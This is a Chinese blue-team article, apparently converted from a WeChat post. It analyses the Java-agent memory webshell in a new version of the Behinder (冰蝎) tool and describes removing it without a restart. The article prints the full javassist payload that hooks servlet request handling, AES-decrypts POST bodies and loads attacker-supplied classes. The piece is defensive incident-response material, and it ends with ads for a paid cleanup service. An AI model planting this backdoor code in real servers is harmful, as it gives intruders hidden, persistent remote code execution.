[go: up one dir, main page]

Skip to content

Latest commit

 

History

History
76 lines (39 loc) · 7.48 KB

蓝队防守之新版冰蝎内存马清除指南.md

File metadata and controls

76 lines (39 loc) · 7.48 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

hw 第一天,冰蝎发布了更新版本。在蛋黄狗狗的眼中,冰蝎反编译越来越简单,让更多人都可以参与魔改冰蝎的过程中。冰蝎的流量正在朝向加密化,混淆化的方向发展,对于全流量取证设备来讲压力越来越大。甚至,你真的认为部署的全流设备有用???

冰蝎更新主要有以下几点:

  1. 反编译越来越简单。

  2. 新增内存马注入。不同于以往的内存马注入方式,变得更难以清除

从流量部分来看,新版冰蝎的流量部分并没有太多变化。不出意外的话,各大安全厂商应该是可以查杀的。但是,不要忘记,新版反编译很简单,降低魔改冰蝎的门槛,也就是说,魔改流量冰蝎即将出世。

新版冰蝎的 http 请求函数

image-20210409095006532

  1. 新版内存马分析

冰蝎为了实现更难清楚的目的,放弃了内存马的不落地的特征。转而使用 JVM TI 技术(rasp 一样的技术),动态修改 java http 的处理部分。

下面我们来看一下怎么实现的,在注入内存马的时候,shell 会通过目标操作系统的类别判断上传哪种 java agentjar 包。路径在下图

image-20210409100249077

我们随便点开一个分析

1.1 注入 java agent

jar 包被上传后,会首先执行下面的代码,该代码反射调用com.sun.tools.attach.VirtualMachine,VirtualMachine 这个类提供一些调用 jvm 方法的途径。该类的说明文档在这里以供查阅  https://docs.oracle.com/javase/7/docs/jdk/api/attach/spec/com/sun/tools/attach/VirtualMachine.html。

需要注意的是,目前 jvm 只提供了加载 java agent,但是没有提供卸载 java agent。也就是说加载后是无法清除的,只能从重启的角度来清除该类型内存马,如果再配合我的 JVM 持久化方法呢?蓝队很难做应急响应去清除该类型 webshell 的。

image-20210409101412894

1.2  修改字节码

冰蝎内存马为了实现更好的兼容性,选择 hook javax.servlet.http.HttpServlet#service 函数,在 weblogic 选择 hook weblogic.servlet.internal.ServletStubImpl#execute 函数。

添加的代码很简单,获取 request,response,判断请求的 url 是否为内存马响应的 url,如果是,则进入内存马执行的流程,如果不是则不响应。这段 javaassist 的代码如下

System.out.println("rx0001");javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;javax.servlet.http.HttpSession session = request.getSession();String pathPattern="%s";System.out.println(request.getRequestURI());if (request.getRequestURI().matches(pathPattern)){System.out.println("rx0002"); java.util.Map obj=new java.util.HashMap(); obj.put("request",request); obj.put("response",response); obj.put("session",session);    ClassLoader loader=this.getClass().getClassLoader(); if (request.getMethod().equals("POST")) {  try  {   String k="%s";   session.putValue("u",k);      java.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();           Class cipherCls=systemLoader.loadClass("javax.crypto.Cipher");           Object c=cipherCls.getDeclaredMethod("getInstance",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{"AES"});           System.out.println("ccc:"+c);           Object keyObj=systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),"AES"});;                     java.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod("init",new Class[]{int.class,systemLoader.loadClass("java.security.Key")});     initMethod.invoke(c,new Object[]{new Integer(2),keyObj});           java.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod("doFinal",new Class[]{byte[].class});   Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");   Object Decoder = Base64.newInstance();   byte[] requestBody=(byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});   byte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody});   java.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});   defineMethod.setAccessible(true);   java.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});   constructor.setAccessible(true);   java.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});   java.lang.Class  c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null});   c.newInstance().equals(obj);  }  catch(java.lang.Exception e)  {     e.printStackTrace();  }  catch(java.lang.Error error)  {  error.printStackTrace();  }  return; } }

你以为检测这两个函数就可以了吗?不,你错了,在中间件的任何一个处理 http 请求的环节,都可以实现插入我们自己的字节码以做到内存马。在某一版的冰蝎中,hook 的是下面 tomcat 特有的这个类。

image-20210409102347580

  1. 清除 java agent 内存马

理论上讲无法通过常规工具清除,除非重启,java agent 在添加字节码的时候,有如下几个限制

  1. 不能新增方法

  2. 不能修改函数签名

而且经过 java agent 修改后的类,jvm 并没有保存之前未修改的类的字节码。javaassist 也没有 delete method 代码的功能。

但是为了在不重启业务服务器的情况下完成清除内存马,可以通过如下手段解决

  1. 读取本地磁盘上的 class 字节码

  2. 重新写一个 java agent,强行替换被内存马修改后的类。

当然,专业的事还是要专业的人去做,您要是感觉自己清除 javaagent 类型的 webshell 不稳容易翻车的话,不妨交给我们去完成这个任务。如有需要该类有偿服务,请后台说明来意联系我们。

当然,我也会发布工具去清除内存马,但是不保证做到不影响线上业务。请各位酌情选择。工具将会发布到知识星球中。

我正在「宽字节安全」和朋友们讨论有趣的话题,你⼀起来吧?https://t.zsxq.com/qJe2JEi